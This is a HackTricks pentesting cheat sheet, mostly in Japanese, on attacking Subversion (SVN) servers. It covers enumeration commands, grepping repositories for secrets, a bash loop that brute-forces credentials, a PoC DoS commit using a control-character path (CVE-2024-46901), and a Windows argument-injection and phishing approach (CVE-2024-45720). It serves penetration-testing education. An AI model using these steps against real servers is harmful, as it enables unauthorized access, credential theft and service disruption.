3690/tcp - Pentesting Subversion (SVN) Server
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
Subversion (SVN) は、ソフトウェアのバージョン管理やリビジョン管理に使用される集中型の バージョン管理システム(Apache license)です。
既定のポート: 3690/tcp (svnserve)。mod_dav_svn を通じて HTTP/HTTPS で公開されたり、svn+ssh 経由で利用されることもあります。
PORT STATE SERVICE
3690/tcp open svnserve Subversion
Banner Grabbing
nc -vn 10.10.10.10 3690
svnserve --version # if shell access is obtained
svn --version # client version leak via error messages
列挙
# Anonymous / authenticated listing
svn ls svn://10.10.10.203 # list root
svn ls -R svn://10.10.10.203/repo # recursive list
svn info svn://10.10.10.203/repo # repo metadata
svn log svn://10.10.10.203/repo # commit history
svn checkout svn://10.10.10.203/repo # checkout repository
svn up -r 2 # move working copy to revision 2
svn diff -r 1:HEAD svn://10.10.10.203/repo # view changes
# If served over HTTP(S)
svn ls https://10.10.10.10/svn/repo --username guest --password ''
# Extract revision props (often contain build creds, URLs, tokens)
svn propget --revprop -r HEAD svn:log svn://10.10.10.203/repo
認証とミスコンフィグの探索
svnserve.confはanon-access = read(場合によっては書き込みも)を許可していることがある。一覧表示できるなら、checkoutを試して秘密情報、スクリプト、CI トークンをダンプしよう。- リポジトリにはバージョン管理された設定ファイル内にビルドパイプライン、デプロイ用キー、データベースの認証情報が保存されていることが多い。checkout 後にワーキングコピーを grep する:
grep -R "password\|secret\|token" -n .. - svn+ssh が有効な場合、ユーザーのシェルは制限付きの
svnserveコマンドを許可していることが多い;ラッパーを回避するために細工したサブコマンドでssh user@host svnserve -tを試してみる。
Bruteforcing credentials (svnserve)
sasl 認証(有効な場合)や単純なパスワードファイルはトランスポート層でのみ保護されており、デフォルトではロックアウトがない。簡単な Bash ループで認証情報を試すことができる:
for u in admin dev ci; do
for p in $(cat /tmp/passlist); do
svn ls --username "$u" --password "$p" svn://10.10.10.203/repo 2>/dev/null && echo "[+] $u:$p" && break
done
done
Recent Vulnerabilities (practical impact)
mod_dav_svn DoS via control characters (CVE-2024-46901)
- コミット権限を持つユーザーは、制御文字(例:
\x01,\x7f)を含むパスを書き込むことで、リポジトリを破損させ、以後のチェックアウトやログが失敗し、mod_dav_svnワーカーがクラッシュする可能性がある。 - Subversion ≤ 1.14.4 を HTTP(S) (
mod_dav_svn) 経由で配信している場合に影響。1.14.5 で修正済み。 - PoC のコミット(
svnmucc使用、正当なコミット資格情報が必要):
# create payload file
printf 'pwn' > /tmp/payload
# commit a path with a control character in its name
svnmucc -m "DoS" put /tmp/payload $'http://10.10.10.10/svn/repo/trunk/bad\x01path.txt'
- コミット後、通常のクライアントは
svnadmin dump/filter/loadで管理者が該当リビジョンを手動で削除するまでクラッシュしたり更新を受け付けなくなることがある。
Windows argument injection in svn client (CVE-2024-45720)
- On Windows、
svn.exeの “best-fit” 文字エンコーディングにより、特別に細工された非ASCIIパス/URLを処理する際に command-line argument injection が発生し、任意のプログラム実行に繋がる可能性がある。 - Subversion ≤ 1.14.3 の Windows のみが影響を受け、1.14.4 で修正済み。Attack surface: 開発者を phishing して攻撃者制御の URL/パス上で
svnを実行させること。 - Pentest angle: Windows 開発者に渡すネットワーク共有や ZIP を制御できる場合、repo URL や working-copy パスに best-fit バイト列を含め、それが
" & calc.exe & "-スタイルの注入引数にデコードされるようにして、被害者にそのパスでsvn status等を実行させるよう誘導する。
悪用ワークフローの注意点
- アクセス方法を確認:
svn://(svnserve),http(s)://.../svn/(mod_dav_svn), またはsvn+ssh://。 - まず匿名読み取りを試し、次に一般的な認証情報をスプレーする。HTTP Basic が使われている場合は、他所で見つかった認証情報を再利用する。
- フックスクリプトを列挙:
hooks/pre-commit,post-commitスクリプトには平文の認証情報やホスト名が含まれていることがある。 svn:externalsを利用して他ホストから追加パスを取り込む。チェックアウト後にsvn propget svn:externals -R .で一覧表示する。- Version leaks:
mod_dav_svnの HTTP レスポンスヘッダは通常 Subversion と Apache のバージョンを示すことが多い。1.14.5 と比較して脆弱な対象を特定する。 - リポジトリのファイルシステムアクセスを得た場合、
svnadmin dump/svnlook author/svnlook dirs-changedで認証なしにオフライン解析が可能。
参考資料
- https://subversion.apache.org/security/CVE-2024-46901-advisory.txt
- https://subversion.apache.org/security/CVE-2024-45720-advisory.txt
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


